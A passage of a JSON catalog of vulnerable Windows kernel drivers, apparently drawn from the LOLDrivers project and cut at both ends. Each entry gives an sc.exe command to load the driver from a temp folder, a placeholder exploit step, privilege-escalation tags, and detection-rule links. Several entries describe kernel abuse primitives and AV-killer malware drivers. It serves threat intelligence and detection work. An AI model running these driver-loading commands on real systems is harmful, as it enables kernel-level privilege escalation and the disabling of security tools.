    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create EIO.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\EIO.sys type=kernel && sc.exe start EIO.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver EIO.sys\"\n\n# EIO.sys\n\nThis is a vulnerable driver per Microsoft.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-eio.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "This is a vulnerable driver per Microsoft.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/b17507a3246020fa0052a172485d7b3567e0161747927f2edf27c40e310852e0.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/cf69704755ec2643dfd245ae1d4e15d77f306aeb1a576ffa159453de1a7345cb.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create EIO.sys binPath=C:\\windows\\temp\\EIO.sys type=kernel && sc.exe start EIO.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-eio",
    "install": [
      {
        "method": "custom",
        "description": "Load EIO.sys kernel driver",
        "commands": [
          "sc.exe create EIO.sys binPath=C:\\windows\\temp\\EIO.sys type=kernel && sc.exe start EIO.sys"
        ]
      }
    ],
    "name": "EIO.sys",
    "namespace": "windows:kernel:eio",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ElbyCDIO.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ElbyCDIO.sys type=kernel && sc.exe start ElbyCDIO.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ElbyCDIO.sys\"\n\n# ElbyCDIO.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-elbycdio.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create ElbyCDIO.sys binPath=C:\\windows\\temp\\ElbyCDIO.sys type=kernel && sc.exe start ElbyCDIO.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-elbycdio",
    "install": [
      {
        "method": "custom",
        "description": "Load ElbyCDIO.sys kernel driver",
        "commands": [
          "sc.exe create ElbyCDIO.sys binPath=C:\\windows\\temp\\ElbyCDIO.sys type=kernel && sc.exe start ElbyCDIO.sys"
        ]
      }
    ],
    "name": "ElbyCDIO.sys",
    "namespace": "windows:kernel:elbycdio",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create elrawdsk.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\elrawdsk.sys type=kernel && sc.exe start elrawdsk.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver elrawdsk.sys\"\n\n# elrawdsk.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-elrawdsk.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/4744df6ac02ff0a3f9ad0bf47b15854bbebb73c936dd02f7c79293a2828406f6.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/5a826b4fa10891cf63aae832fc645ce680a483b915c608ca26cedbb173b1b80a.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create elrawdsk.sys binPath=C:\\windows\\temp\\elrawdsk.sys type=kernel && sc.exe start elrawdsk.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-elrawdsk",
    "install": [
      {
        "method": "custom",
        "description": "Load elrawdsk.sys kernel driver",
        "commands": [
          "sc.exe create elrawdsk.sys binPath=C:\\windows\\temp\\elrawdsk.sys type=kernel && sc.exe start elrawdsk.sys"
        ]
      }
    ],
    "name": "elrawdsk.sys",
    "namespace": "windows:kernel:elrawdsk",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/jbaines-r7/dellicious"
      },
      {
        "label": "Reference",
        "url": "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/"
      },
      {
        "label": "Reference",
        "url": "https://securelist.com/shamoon-the-wiper-further-details-part-ii/57784/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/Yara-Rules/rules/blob/master/malware/MALW_Shamoon.yar"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ene.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ene.sys type=kernel && sc.exe start ene.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ene.sys\"\n\n# ene.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ene.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create ene.sys binPath=C:\\windows\\temp\\ene.sys type=kernel && sc.exe start ene.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-ene",
    "install": [
      {
        "method": "custom",
        "description": "Load ene.sys kernel driver",
        "commands": [
          "sc.exe create ene.sys binPath=C:\\windows\\temp\\ene.sys type=kernel && sc.exe start ene.sys"
        ]
      }
    ],
    "name": "ene.sys",
    "namespace": "windows:kernel:ene",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create EneIo64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\EneIo64.sys type=kernel && sc.exe start EneIo64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver EneIo64.sys\"\n\n# EneIo64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-eneio64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create EneIo64.sys binPath=C:\\windows\\temp\\EneIo64.sys type=kernel && sc.exe start EneIo64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-eneio64",
    "install": [
      {
        "method": "custom",
        "description": "Load EneIo64.sys kernel driver",
        "commands": [
          "sc.exe create EneIo64.sys binPath=C:\\windows\\temp\\EneIo64.sys type=kernel && sc.exe start EneIo64.sys"
        ]
      }
    ],
    "name": "EneIo64.sys",
    "namespace": "windows:kernel:eneio64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/k4nfr3/af970e7facb09195e56f2112e1c9549c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create energydriver binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\energydriver.sys type=kernel && sc.exe start energydriver\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver energydriver.sys\"\n\n# energydriver.sys\n\nEnergyDriver.sys is a kernel driver from Intel Corporation shipped with Intel Power Gadget 3.6 (deprecated December 2023). The driver exposes 5 IOCTLs including arbitrary wrmsr (any MSR index, any 64-bit value, no whitelist), arbitrary rdmsr (single CPU or all CPUs), and arbitrary physical memory read via MmMapIoSpace. wrmsr allows IA32_LSTAR hijack for direct syscall redirection. No privilege check, no MSR whitelist, default DACL. WHQL and Intel EV dual-signed.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-energydriver.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "EnergyDriver.sys is a kernel driver from Intel Corporation shipped with Intel Power Gadget 3.6 (deprecated December 2023). The driver exposes 5 IOCTLs including arbitrary wrmsr (any MSR index, any 64-bit value, no whitelist), arbitrary rdmsr (single CPU or all CPUs), and arbitrary physical memory read via MmMapIoSpace. wrmsr allows IA32_LSTAR hijack for direct syscall redirection. No privilege check, no MSR whitelist, default DACL. WHQL and Intel EV dual-signed.",
    "execution": {
      "template": "sc.exe create energydriver binPath=C:\\windows\\temp\\energydriver.sys type=kernel && sc.exe start energydriver",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "compression",
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-energydriver",
    "install": [
      {
        "method": "custom",
        "description": "Load energydriver.sys kernel driver",
        "commands": [
          "sc.exe create energydriver binPath=C:\\windows\\temp\\energydriver.sys type=kernel && sc.exe start energydriver"
        ]
      }
    ],
    "name": "energydriver.sys",
    "namespace": "windows:kernel:energydriver",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/329"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create EneTechIo64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\EneTechIo64.sys     type=kernel && sc.exe start EneTechIo64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver EneTechIo64.sys\"\n\n# EneTechIo64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-enetechio64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create EneTechIo64.sys binPath=C:\\windows\\temp\\EneTechIo64.sys     type=kernel && sc.exe start EneTechIo64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-enetechio64",
    "install": [
      {
        "method": "custom",
        "description": "Load EneTechIo64.sys kernel driver",
        "commands": [
          "sc.exe create EneTechIo64.sys binPath=C:\\windows\\temp\\EneTechIo64.sys     type=kernel && sc.exe start EneTechIo64.sys"
        ]
      }
    ],
    "name": "EneTechIo64.sys",
    "namespace": "windows:kernel:enetechio64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/hfiref0x/KDU/releases/tag/v1.2.0"
      },
      {
        "label": "Reference",
        "url": "https://gist.github.com/k4nfr3/af970e7facb09195e56f2112e1c9549c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create etdsupp binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\etdsupp.sys type=kernel && sc.exe start etdsupp.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver etdsupp.sys\"\n\n# etdsupp.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-etdsupp.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create etdsupp binPath=C:\\windows\\temp\\etdsupp.sys type=kernel && sc.exe start etdsupp.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-etdsupp",
    "install": [
      {
        "method": "custom",
        "description": "Load etdsupp.sys kernel driver",
        "commands": [
          "sc.exe create etdsupp binPath=C:\\windows\\temp\\etdsupp.sys type=kernel && sc.exe start etdsupp.sys"
        ]
      }
    ],
    "name": "etdsupp.sys",
    "namespace": "windows:kernel:etdsupp",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create evga_kernel_driver-x64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\evga_kernel_driver-x64.sys type=kernel && sc.exe start evga_kernel_driver-x64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver evga_kernel_driver-x64.sys\"\n\n# evga_kernel_driver-x64.sys\n\nevga_kernel_driver-x64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-evga-kernel-driver-x64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "evga_kernel_driver-x64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create evga_kernel_driver-x64 binPath=C:\\windows\\temp\\evga_kernel_driver-x64.sys type=kernel && sc.exe start evga_kernel_driver-x64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-evga-kernel-driver-x64",
    "install": [
      {
        "method": "custom",
        "description": "Load evga_kernel_driver-x64.sys kernel driver",
        "commands": [
          "sc.exe create evga_kernel_driver-x64 binPath=C:\\windows\\temp\\evga_kernel_driver-x64.sys type=kernel && sc.exe start evga_kernel_driver-x64"
        ]
      }
    ],
    "name": "evga_kernel_driver-x64.sys",
    "namespace": "windows:kernel:evga-kernel-driver-x64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create f.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\f.sys type=kernel && sc.exe start f.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver f.sys\"\n\n# f.sys\n\nSophos, from time to time, has observed a threat actor deploy variants\n    of Poortry on different machines within a single estate during an attack. These\n    variants contain the same payload, but signed with a different certificate than\n    the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-f.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create f.sys binPath=C:\\windows\\temp\\f.sys type=kernel && sc.exe start f.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-f",
    "install": [
      {
        "method": "custom",
        "description": "Load f.sys kernel driver",
        "commands": [
          "sc.exe create f.sys binPath=C:\\windows\\temp\\f.sys type=kernel && sc.exe start f.sys"
        ]
      }
    ],
    "name": "f.sys",
    "namespace": "windows:kernel:f",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create FairplayKD.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\FairplayKD.sys type=kernel && sc.exe start FairplayKD.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver FairplayKD.sys\"\n\n# FairplayKD.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-fairplaykd.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/9f4ce6ab5e8d44f355426d9a6ab79833709f39b300733b5b251a0766e895e0e5.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create FairplayKD.sys binPath=C:\\windows\\temp\\FairplayKD.sys type=kernel && sc.exe start FairplayKD.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-fairplaykd",
    "install": [
      {
        "method": "custom",
        "description": "Load FairplayKD.sys kernel driver",
        "commands": [
          "sc.exe create FairplayKD.sys binPath=C:\\windows\\temp\\FairplayKD.sys type=kernel && sc.exe start FairplayKD.sys"
        ]
      }
    ],
    "name": "FairplayKD.sys",
    "namespace": "windows:kernel:fairplaykd",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.unknowncheats.me/forum/anti-cheat-bypass/334557-vulnerable-driver-megathread.html"
      },
      {
        "label": "Reference",
        "url": "https://www.unknowncheats.me/forum/anti-cheat-bypass/244386-mta-fairplaykd-driver-reversed-exploited-rpm.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create fastdumpx64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\fastdumpx64.sys type=kernel && sc.exe start fastdumpx64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver fastdumpx64.sys\"\n\n# fastdumpx64.sys\n\nfastdumpx64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-fastdumpx64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "fastdumpx64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create fastdumpx64 binPath=C:\\windows\\temp\\fastdumpx64.sys type=kernel && sc.exe start fastdumpx64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-fastdumpx64",
    "install": [
      {
        "method": "custom",
        "description": "Load fastdumpx64.sys kernel driver",
        "commands": [
          "sc.exe create fastdumpx64 binPath=C:\\windows\\temp\\fastdumpx64.sys type=kernel && sc.exe start fastdumpx64"
        ]
      }
    ],
    "name": "fastdumpx64.sys",
    "namespace": "windows:kernel:fastdumpx64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create fd3b7234419fafc9bdd533f48896ed73_b816c5cd.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\fd3b7234419fafc9bdd533f48896ed73_b816c5cd.sys type=kernel && sc.exe start fd3b7234419fafc9bdd533f48896ed73_b816c5cd.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver fd3b7234419fafc9bdd533f48896ed73_b816c5cd.sys\"\n\n# fd3b7234419fafc9bdd533f48896ed73_b816c5cd.sys\n\nThe criminals signed their AV-killer malware, closely related to one known as BURNTCIGAR, with a legitimate WHCP certificate\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-fd3b7234419fafc9bdd533f48896ed73-b816c5cd.md",
    "author": "Viral Maniar",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The criminals signed their AV-killer malware, closely related to one known as BURNTCIGAR, with a legitimate WHCP certificate",
    "execution": {
      "template": "sc.exe create fd3b7234419fafc9bdd533f48896ed73_b816c5cd.sys binPath=C:\\windows\\temp\\fd3b7234419fafc9bdd533f48896ed73_b816c5cd.sys type=kernel && sc.exe start fd3b7234419fafc9bdd533f48896ed73_b816c5cd.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "file-system",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-fd3b7234419fafc9bdd533f48896ed73-b816c5cd",
    "install": [
      {
        "method": "custom",
        "description": "Load fd3b7234419fafc9bdd533f48896ed73_b816c5cd.sys kernel driver",
        "commands": [
          "sc.exe create fd3b7234419fafc9bdd533f48896ed73_b816c5cd.sys binPath=C:\\windows\\temp\\fd3b7234419fafc9bdd533f48896ed73_b816c5cd.sys type=kernel && sc.exe start fd3b7234419fafc9bdd533f48896ed73_b816c5cd.sys"
        ]
      }
    ],
